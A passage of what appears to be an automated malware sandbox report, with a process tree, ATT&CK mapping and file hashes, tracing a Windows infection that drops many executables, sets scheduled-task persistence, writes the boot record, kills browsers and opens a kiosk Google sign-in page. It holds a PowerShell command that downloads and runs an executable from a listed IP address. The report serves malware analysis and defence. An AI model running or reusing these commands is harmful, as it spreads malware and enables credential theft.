                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2264 --field-trial-handle=1276,i,1012029245434156714,2613325163860259053,131072 /prefetch:1
                                              5⤵
                                              • Uses browser remote debugging
                                              PID:1712
                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2272 --field-trial-handle=1276,i,1012029245434156714,2613325163860259053,131072 /prefetch:1
                                              5⤵
                                              • Uses browser remote debugging
                                              PID:2632
                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1452 --field-trial-handle=1276,i,1012029245434156714,2613325163860259053,131072 /prefetch:2
                                              5⤵
                                                PID:2364
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9222 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=1416 --field-trial-handle=1276,i,1012029245434156714,2613325163860259053,131072 /prefetch:1
                                                5⤵
                                                • Uses browser remote debugging
                                                PID:592
                                            • C:\Users\Admin\AppData\Local\Temp\service123.exe
                                              "C:\Users\Admin\AppData\Local\Temp\service123.exe"
                                              4⤵
                                              • Executes dropped EXE
                                              PID:3332
                                            • C:\Windows\SysWOW64\schtasks.exe
                                              "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\Admin\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
                                              4⤵
                                              • System Location Discovery: System Language Discovery
                                              • Scheduled Task/Job: Scheduled Task
                                              PID:3220
                                            • C:\Windows\SysWOW64\WerFault.exe
                                              C:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 964
                                              4⤵
                                              • Program crash
                                              PID:3228
                                          • C:\Users\Admin\AppData\Local\Temp\1085403001\3fd2ba875c.exe
                                            "C:\Users\Admin\AppData\Local\Temp\1085403001\3fd2ba875c.exe"
                                            3⤵
                                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                            • Checks BIOS information in registry
                                            • Executes dropped EXE
                                            • Identifies Wine through registry keys
                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                            • System Location Discovery: System Language Discovery
                                            • Modifies system certificate store
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:2300
                                          • C:\Users\Admin\AppData\Local\Temp\1085404001\004605a7a7.exe
                                            "C:\Users\Admin\AppData\Local\Temp\1085404001\004605a7a7.exe"
                                            3⤵
                                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                            • Checks BIOS information in registry
                                            • Executes dropped EXE
                                            • Identifies Wine through registry keys
                                            • Writes to the Master Boot Record (MBR)
                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:568
                                          • C:\Users\Admin\AppData\Local\Temp\1085405001\1f89216f75.exe
                                            "C:\Users\Admin\AppData\Local\Temp\1085405001\1f89216f75.exe"
                                            3⤵
                                            • Executes dropped EXE
                                            • Suspicious use of SetThreadContext
                                            • System Location Discovery: System Language Discovery
                                            PID:1784
                                            • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                                              "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
                                              4⤵
                                                PID:1148
                                            • C:\Users\Admin\AppData\Local\Temp\1085406001\21c6c4089c.exe
                                              "C:\Users\Admin\AppData\Local\Temp\1085406001\21c6c4089c.exe"
                                              3⤵
                                              • Executes dropped EXE
                                              • Modifies system certificate store
                                              PID:2316
                                            • C:\Users\Admin\AppData\Local\Temp\1085407001\amnew.exe
                                              "C:\Users\Admin\AppData\Local\Temp\1085407001\amnew.exe"
                                              3⤵
                                              • Executes dropped EXE
                                              • Loads dropped DLL
                                              • Drops file in Windows directory
                                              • System Location Discovery: System Language Discovery
                                              • Suspicious use of FindShellTrayWindow
                                              PID:2460
                                              • C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
                                                "C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe"
                                                4⤵
                                                • Downloads MZ/PE file
                                                • Executes dropped EXE
                                                • Adds Run key to start application
                                                • System Location Discovery: System Language Discovery
                                                • Modifies system certificate store
                                                PID:1036
                                                • C:\Users\Admin\AppData\Local\Temp\10002760101\monthdragon.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\10002760101\monthdragon.exe"
                                                  5⤵
                                                  • Executes dropped EXE
                                                  • Suspicious use of SetThreadContext
                                                  • System Location Discovery: System Language Discovery
                                                  PID:2188
                                                  • C:\Users\Admin\AppData\Local\Temp\10002760101\monthdragon.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\10002760101\monthdragon.exe"
                                                    6⤵
                                                    • Executes dropped EXE
                                                    • System Location Discovery: System Language Discovery
                                                    PID:2740
                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 2188 -s 556
                                                    6⤵
                                                    • Program crash
                                                    PID:2044
                                                • C:\Users\Admin\AppData\Local\Temp\10006970101\07ae8485c1.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\10006970101\07ae8485c1.exe"
                                                  5⤵
                                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                  • Checks BIOS information in registry
                                                  • Executes dropped EXE
                                                  • Identifies Wine through registry keys
                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                  PID:3276
                                                • C:\Users\Admin\AppData\Local\Temp\10006980101\52749466cf.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\10006980101\52749466cf.exe"
                                                  5⤵
                                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                  • Checks BIOS information in registry
                                                  • Executes dropped EXE
                                                  • Identifies Wine through registry keys
                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                  • Suspicious use of SetThreadContext
                                                  • System Location Discovery: System Language Discovery
                                                  PID:3872
                                                  • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                                                    "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
                                                    6⤵
                                                    • System Location Discovery: System Language Discovery
                                                    PID:3460
                                            • C:\Users\Admin\AppData\Local\Temp\1085408001\jROrnzx.exe
                                              "C:\Users\Admin\AppData\Local\Temp\1085408001\jROrnzx.exe"
                                              3⤵
                                              • Executes dropped EXE
                                              • Loads dropped DLL
                                              • Suspicious use of SetThreadContext
                                              • System Location Discovery: System Language Discovery
                                              PID:1732
                                              • C:\Users\Admin\AppData\Local\Temp\1085408001\jROrnzx.exe
                                                "C:\Users\Admin\AppData\Local\Temp\1085408001\jROrnzx.exe"
                                                4⤵
                                                • Executes dropped EXE
                                                • System Location Discovery: System Language Discovery
                                                • Suspicious behavior: EnumeratesProcesses
                                                PID:2324
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -u -p 1732 -s 556
                                                4⤵
                                                • Loads dropped DLL
                                                • Program crash
                                                PID:2004
                                            • C:\Users\Admin\AppData\Local\Temp\1085409001\qFqSpAp.exe
                                              "C:\Users\Admin\AppData\Local\Temp\1085409001\qFqSpAp.exe"
                                              3⤵
                                              • Executes dropped EXE
                                              • System Location Discovery: System Language Discovery
                                              PID:2956
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -u -p 2956 -s 816
                                                4⤵
                                                • Loads dropped DLL
                                                • Program crash
                                                PID:2648
                                            • C:\Users\Admin\AppData\Local\Temp\1085410001\bd6a25f459.exe
                                              "C:\Users\Admin\AppData\Local\Temp\1085410001\bd6a25f459.exe"
                                              3⤵
                                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                              • Checks BIOS information in registry
                                              • Executes dropped EXE
                                              • Identifies Wine through registry keys
                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                              • Suspicious use of SetThreadContext
                                              • System Location Discovery: System Language Discovery
                                              PID:2476
                                              • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                                                "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
                                                4⤵
                                                • Downloads MZ/PE file
                                                • System Location Discovery: System Language Discovery
                                                PID:2648
                                            • C:\Users\Admin\AppData\Local\Temp\1085411001\0ea2fa1e21.exe
                                              "C:\Users\Admin\AppData\Local\Temp\1085411001\0ea2fa1e21.exe"
                                              3⤵
                                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                              • Checks BIOS information in registry
                                              • Executes dropped EXE
                                              • Identifies Wine through registry keys
                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                              • System Location Discovery: System Language Discovery
                                              PID:1404
                                            • C:\Users\Admin\AppData\Local\Temp\1085412001\b3513fa42a.exe
                                              "C:\Users\Admin\AppData\Local\Temp\1085412001\b3513fa42a.exe"
                                              3⤵
                                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                              • Checks BIOS information in registry
                                              • Executes dropped EXE
                                              • Identifies Wine through registry keys
                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                              PID:2624
                                            • C:\Users\Admin\AppData\Local\Temp\1085413001\dc4be0dfa1.exe
                                              "C:\Users\Admin\AppData\Local\Temp\1085413001\dc4be0dfa1.exe"
                                              3⤵
                                              • Executes dropped EXE
                                              • System Location Discovery: System Language Discovery
                                              • Suspicious use of SendNotifyMessage
                                              PID:3032
                                              • C:\Windows\SysWOW64\taskkill.exe
                                                taskkill /F /IM firefox.exe /T
                                                4⤵
                                                • Kills process with taskkill
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:376
                                              • C:\Windows\SysWOW64\taskkill.exe
                                                taskkill /F /IM chrome.exe /T
                                                4⤵
                                                • System Location Discovery: System Language Discovery
                                                • Kills process with taskkill
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:1432
                                              • C:\Windows\SysWOW64\taskkill.exe
                                                taskkill /F /IM msedge.exe /T
                                                4⤵
                                                • System Location Discovery: System Language Discovery
                                                • Kills process with taskkill
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:2020
                                              • C:\Windows\SysWOW64\taskkill.exe
                                                taskkill /F /IM opera.exe /T
                                                4⤵
                                                • Kills process with taskkill
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:2368
                                              • C:\Windows\SysWOW64\taskkill.exe
                                                taskkill /F /IM brave.exe /T
                                                4⤵
                                                • System Location Discovery: System Language Discovery
                                                • Kills process with taskkill
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:1160
                                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                                "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
                                                4⤵
                                                  PID:892
                                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                                    "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
                                                    5⤵
                                                    • Checks processor information in registry
                                                    • Modifies registry class
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    • Suspicious use of SendNotifyMessage
                                                    PID:2508
                                                    • C:\Program Files\Mozilla Firefox\firefox.exe
                                                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2508.0.224214729\543736521" -parentBuildID 20221007134813 -prefsHandle 1128 -prefMapHandle 1112 -prefsLen 20847 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {fb62d629-16ee-49d7-ade5-b8caa19963c3} 2508 "\\.\pipe\gecko-crash-server-pipe.2508" 1276 107d8b58 gpu
                                                      6⤵
                                                        PID:2096
                                                      • C:\Program Files\Mozilla Firefox\firefox.exe
                                                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2508.1.990165122\1411278801" -parentBuildID 20221007134813 -prefsHandle 1504 -prefMapHandle 1500 -prefsLen 21708 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {e01630ea-f0b3-422b-baf8-286c4f8185c1} 2508 "\\.\pipe\gecko-crash-server-pipe.2508" 1532 f5ec458 socket
                                                        6⤵
                                                          PID:2304
                                                        • C:\Program Files\Mozilla Firefox\firefox.exe
                                                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2508.2.4868758\2068603955" -childID 1 -isForBrowser -prefsHandle 2056 -prefMapHandle 2052 -prefsLen 21746 -prefMapSize 233444 -jsInitHandle 564 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {395a3841-5d69-42e9-955c-d01cbf809536} 2508 "\\.\pipe\gecko-crash-server-pipe.2508" 2068 1aca0b58 tab
                                                          6⤵
                                                            PID:3016
                                                          • C:\Program Files\Mozilla Firefox\firefox.exe
                                                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2508.3.1442673011\764982925" -childID 2 -isForBrowser -prefsHandle 2668 -prefMapHandle 2664 -prefsLen 26151 -prefMapSize 233444 -jsInitHandle 564 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {4490a830-210c-4c84-9d6c-10927079138c} 2508 "\\.\pipe\gecko-crash-server-pipe.2508" 2680 e2d858 tab
                                                            6⤵
                                                              PID:2952
                                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2508.4.1325217346\1956526062" -childID 3 -isForBrowser -prefsHandle 3388 -prefMapHandle 3060 -prefsLen 26351 -prefMapSize 233444 -jsInitHandle 564 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {f85a55d8-720e-4bb4-9611-80f454d900e2} 2508 "\\.\pipe\gecko-crash-server-pipe.2508" 3624 1fadb858 tab
                                                              6⤵
                                                                PID:3608
                                                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2508.5.1474720290\1531624393" -childID 4 -isForBrowser -prefsHandle 3784 -prefMapHandle 3788 -prefsLen 26275 -prefMapSize 233444 -jsInitHandle 564 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d189b964-6a0f-4314-864c-25a091899669} 2508 "\\.\pipe\gecko-crash-server-pipe.2508" 3772 1fada358 tab
                                                                6⤵
                                                                  PID:3616
                                                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2508.6.1864299622\487359266" -childID 5 -isForBrowser -prefsHandle 3948 -prefMapHandle 3952 -prefsLen 26275 -prefMapSize 233444 -jsInitHandle 564 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {898e8f2a-9b17-4ff6-bdac-09ca5c206f83} 2508 "\\.\pipe\gecko-crash-server-pipe.2508" 3936 1fef2258 tab
                                                                  6⤵
                                                                    PID:3624
                                                            • C:\Users\Admin\AppData\Local\Temp\1085414001\2e0f8c0da0.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\1085414001\2e0f8c0da0.exe"
                                                              3⤵
                                                              • Executes dropped EXE
                                                              • System Location Discovery: System Language Discovery
                                                              • Suspicious use of SendNotifyMessage
                                                              PID:2524
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c schtasks /create /tn sWminma9Hzd /tr "mshta C:\Users\Admin\AppData\Local\Temp\hDACxxmdg.hta" /sc minute /mo 25 /ru "Admin" /f
                                                                4⤵
                                                                • System Location Discovery: System Language Discovery
                                                                PID:3268
                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                  schtasks /create /tn sWminma9Hzd /tr "mshta C:\Users\Admin\AppData\Local\Temp\hDACxxmdg.hta" /sc minute /mo 25 /ru "Admin" /f
                                                                  5⤵
                                                                  • System Location Discovery: System Language Discovery
                                                                  • Scheduled Task/Job: Scheduled Task
                                                                  PID:3392
                                                              • C:\Windows\SysWOW64\mshta.exe
                                                                mshta C:\Users\Admin\AppData\Local\Temp\hDACxxmdg.hta
                                                                4⤵
                                                                • System Location Discovery: System Language Discovery
                                                                • Modifies Internet Explorer settings
                                                                PID:3276
                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'AE9U0JHRT1NTO3RTF5HAUF1HTTOBXQ6L.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
                                                                  5⤵
                                                                  • Blocklisted process makes network request
                                                                  • Command and Scripting Interpreter: PowerShell
                                                                  • Downloads MZ/PE file
                                                                  • System Location Discovery: System Language Discovery
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:3540
                                                                  • C:\Users\Admin\AppData\Local\TempAE9U0JHRT1NTO3RTF5HAUF1HTTOBXQ6L.EXE
                                                                    "C:\Users\Admin\AppData\Local\TempAE9U0JHRT1NTO3RTF5HAUF1HTTOBXQ6L.EXE"
                                                                    6⤵
                                                                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                    • Checks BIOS information in registry
                                                                    • Executes dropped EXE
                                                                    • Identifies Wine through registry keys
                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                    PID:3516
                                                            • C:\Users\Admin\AppData\Local\Temp\1085415001\Bjkm5hE.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\1085415001\Bjkm5hE.exe"
                                                              3⤵
                                                              • Executes dropped EXE
                                                              • Suspicious use of SetThreadContext
                                                              • System Location Discovery: System Language Discovery
                                                              PID:3876
                                                              • C:\Users\Admin\AppData\Local\Temp\1085415001\Bjkm5hE.exe
                                                                "C:\Users\Admin\AppData\Local\Temp\1085415001\Bjkm5hE.exe"
                                                                4⤵
                                                                • Executes dropped EXE
                                                                • System Location Discovery: System Language Discovery
                                                                PID:2484
                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3876 -s 560
                                                                4⤵
                                                                • Program crash
                                                                PID:4044
                                                            • C:\Users\Admin\AppData\Local\Temp\1085416001\d2YQIJa.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\1085416001\d2YQIJa.exe"
                                                              3⤵
                                                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                              • Checks BIOS information in registry
                                                              • Executes dropped EXE
                                                              • Identifies Wine through registry keys
                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                              • System Location Discovery: System Language Discovery
                                                              PID:3920
                                                            • C:\Users\Admin\AppData\Local\Temp\1085417001\DTQCxXZ.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\1085417001\DTQCxXZ.exe"
                                                              3⤵
                                                              • Executes dropped EXE
                                                              • System Location Discovery: System Language Discovery
                                                              PID:3120
                                                            • C:\Users\Admin\AppData\Local\Temp\1085418001\448df225b6.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\1085418001\448df225b6.exe"
                                                              3⤵
                                                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                              • Checks BIOS information in registry
                                                              • Executes dropped EXE
                                                              • Identifies Wine through registry keys
                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                              • Suspicious use of SetThreadContext
                                                              • System Location Discovery: System Language Discovery
                                                              PID:3784
                                                              • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                                                                "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
                                                                4⤵
                                                                • System Location Discovery: System Language Discovery
                                                                PID:3060
                                                            • C:\Users\Admin\AppData\Local\Temp\1085419001\Ta3ZyUR.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\1085419001\Ta3ZyUR.exe"
                                                              3⤵
                                                              • Executes dropped EXE
                                                              • Suspicious use of SetThreadContext
                                                              PID:3256
                                                              • C:\Users\Admin\AppData\Local\Temp\1085419001\Ta3ZyUR.exe
                                                                "C:\Users\Admin\AppData\Local\Temp\1085419001\Ta3ZyUR.exe"
                                                                4⤵
                                                                • Executes dropped EXE
                                                                • System Location Discovery: System Language Discovery
                                                                PID:3216
                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3256 -s 560
                                                                4⤵
                                                                • Program crash
                                                                PID:3384
                                                            • C:\Users\Admin\AppData\Local\Temp\1085420001\71cef590a3.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\1085420001\71cef590a3.exe"
                                                              3⤵
                                                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                              • Checks BIOS information in registry
                                                              • Executes dropped EXE
                                                              • Identifies Wine through registry keys
                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                              • System Location Discovery: System Language Discovery
                                                              PID:4040
                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\Admin\AppData\Local\Temp\1085421041\tYliuwV.ps1"
                                                              3⤵
                                                              • Command and Scripting Interpreter: PowerShell
                                                              • System Location Discovery: System Language Discovery
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:3888
                                                            • C:\Users\Admin\AppData\Local\Temp\1085422001\7aencsM.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\1085422001\7aencsM.exe"
                                                              3⤵
                                                              • Executes dropped EXE
                                                              • Suspicious use of SetThreadContext
                                                              • System Location Discovery: System Language Discovery
                                                              PID:3200
                                                              • C:\Users\Admin\AppData\Local\Temp\1085422001\7aencsM.exe
                                                                "C:\Users\Admin\AppData\Local\Temp\1085422001\7aencsM.exe"
                                                                4⤵
                                                                • Executes dropped EXE
                                                                • System Location Discovery: System Language Discovery
                                                                • Checks processor information in registry
                                                                PID:3440
                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3200 -s 560
                                                                4⤵
                                                                • Program crash
                                                                PID:3264
                                                        • C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
                                                          "C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
                                                          1⤵
                                                            PID:2348
                                                          • C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
                                                            "C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
                                                            1⤵
                                                              PID:2224

                                                            Network

                                                            MITRE ATT&CK Enterprise v15

                                                            Reconnaissance

                                                            Resource Development

                                                            Initial Access

                                                            Execution

                                                            Command and Scripting Interpreter

                                                            1
                                                            T1059

                                                            PowerShell

                                                            1
                                                            T1059.001

                                                            Scheduled Task/Job

                                                            1
                                                            T1053

                                                            Scheduled Task

                                                            1
                                                            T1053.005

                                                            Persistence

                                                            Boot or Logon Autostart Execution

                                                            1
                                                            T1547

                                                            Registry Run Keys / Startup Folder

                                                            1
                                                            T1547.001

                                                            Create or Modify System Process

                                                            4
                                                            T1543

                                                            Windows Service

                                                            4
                                                            T1543.003

                                                            Modify Authentication Process

                                                            1
                                                            T1556

                                                            Pre-OS Boot

                                                            1
                                                            T1542

                                                            Bootkit

                                                            1
                                                            T1542.003

                                                            Scheduled Task/Job

                                                            1
                                                            T1053

                                                            Scheduled Task

                                                            1
                                                            T1053.005

                                                            Privilege Escalation

                                                            Boot or Logon Autostart Execution

                                                            1
                                                            T1547

                                                            Registry Run Keys / Startup Folder

                                                            1
                                                            T1547.001

                                                            Create or Modify System Process

                                                            4
                                                            T1543

                                                            Windows Service

                                                            4
                                                            T1543.003

                                                            Scheduled Task/Job

                                                            1
                                                            T1053

                                                            Scheduled Task

                                                            1
                                                            T1053.005

                                                            Defense Evasion

                                                            Impair Defenses

                                                            5
                                                            T1562

                                                            Disable or Modify Tools

                                                            5
                                                            T1562.001

                                                            Modify Authentication Process

                                                            1
                                                            T1556

                                                            Modify Registry

                                                            8
                                                            T1112

                                                            Pre-OS Boot

                                                            1
                                                            T1542

                                                            Bootkit

                                                            1
                                                            T1542.003

                                                            Subvert Trust Controls

                                                            1
                                                            T1553

                                                            Install Root Certificate

                                                            1
                                                            T1553.004

                                                            Virtualization/Sandbox Evasion

                                                            3
                                                            T1497

                                                            Credential Access

                                                            Credentials from Password Stores

                                                            1
                                                            T1555

                                                            Credentials from Web Browsers

                                                            1
                                                            T1555.003

                                                            Modify Authentication Process

                                                            1
                                                            T1556

                                                            Steal Web Session Cookie

                                                            1
                                                            T1539

                                                            Unsecured Credentials

                                                            5
                                                            T1552

                                                            Credentials In Files

                                                            5
                                                            T1552.001

                                                            Discovery

                                                            Browser Information Discovery

                                                            1
                                                            T1217

                                                            Query Registry

                                                            8
                                                            T1012

                                                            System Information Discovery

                                                            4
                                                            T1082

                                                            System Location Discovery

                                                            1
                                                            T1614

                                                            System Language Discovery

                                                            1
                                                            T1614.001

                                                            Virtualization/Sandbox Evasion

                                                            3
                                                            T1497

                                                            Lateral Movement

                                                            Collection

                                                            Data from Local System

                                                            4
                                                            T1005

                                                            Command and Control

                                                            Exfiltration

                                                            Impact

                                                            Replay Monitor

                                                            Loading Replay Monitor...

                                                            Downloads

                                                            • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357
                                                              Filesize

                                                              1KB

                                                              MD5

                                                              a266bb7dcc38a562631361bbf61dd11b

                                                              SHA1

                                                              3b1efd3a66ea28b16697394703a72ca340a05bd5

                                                              SHA256

                                                              df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e

                                                              SHA512

                                                              0da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc

                                                              Download Submit

                                                            • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
                                                              Filesize

                                                              342B

                                                              MD5

                                                              d4dcec1e81d62e69e22f368dbf1fb5a3

                                                              SHA1

                                                              214e65873bcbdc9b1d8fa81633687e9ec2ed6b5b

                                                              SHA256

                                                              79cf0174c33bcb54db77a71653a10735389fcdbba6e8ff3d718f3aa58798f1ff

                                                              SHA512

                                                              ebbf4172a6011fb80cc1097e01e18369651bfb6c8acf0ee0a8ebf339d96c73e177874b524248b4895652ca5ca9b9ad2adf6a75ce827ff65224ae651a6f1de88c

                                                              Download Submit

                                                            • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
                                                              Filesize

                                                              342B

                                                              MD5

                                                              2c0c93f5f8a5a4f98cd982bb64447f84

                                                              SHA1

                                                              f814a4c0da3106b05f6f11ff350ea675b2bacf41

                                                              SHA256

                                                              b10fd673250740555d731e23c3b07cac7fb91283e7cc348ee717b5a15758c144

                                                              SHA512

                                                              17fdc7885fc32246620052bafec514a71a25a1fde7b68268863baa4af53b21f644d22c078e8cd87c8a2c27047c47608142e337577f9013a447b414b6c0e369a0

                                                              Download Submit

                                                            • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357
                                                              Filesize

                                                              242B

                                                              MD5

                                                              c202ff539dbba7d1bcf6c46263ead0d6

                                                              SHA1

                                                              df85788ecef89bc03d5e058c22ffed069e89b980

                                                              SHA256

                                                              f3d28caaaf452b36c57ade4cdaa3a208b0770ecbea7fc03a3437941574271365

                                                              SHA512

                                                              8c01dd4be634729f2ea034c6bc23d6e5c231162b4996877d3005d07b04dbddf912ba1db9c181da56d51b6855768ddf38a609e77f9f64a6c21d75e8f700022bf6

                                                              Download Submit

                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
                                                              Filesize

                                                              40B

                                                              MD5

                                                              29acc7d11d4391748f3d1253849a2e0b

                                                              SHA1

                                                              3ff5749dfe8a28085a4a40cb88a60e498cbd9175

                                                              SHA256

                                                              8e133e9d24921ee093ae9b9b18270faa284d0adb2d88ee326ec85cb0642ba8e5

                                                              SHA512

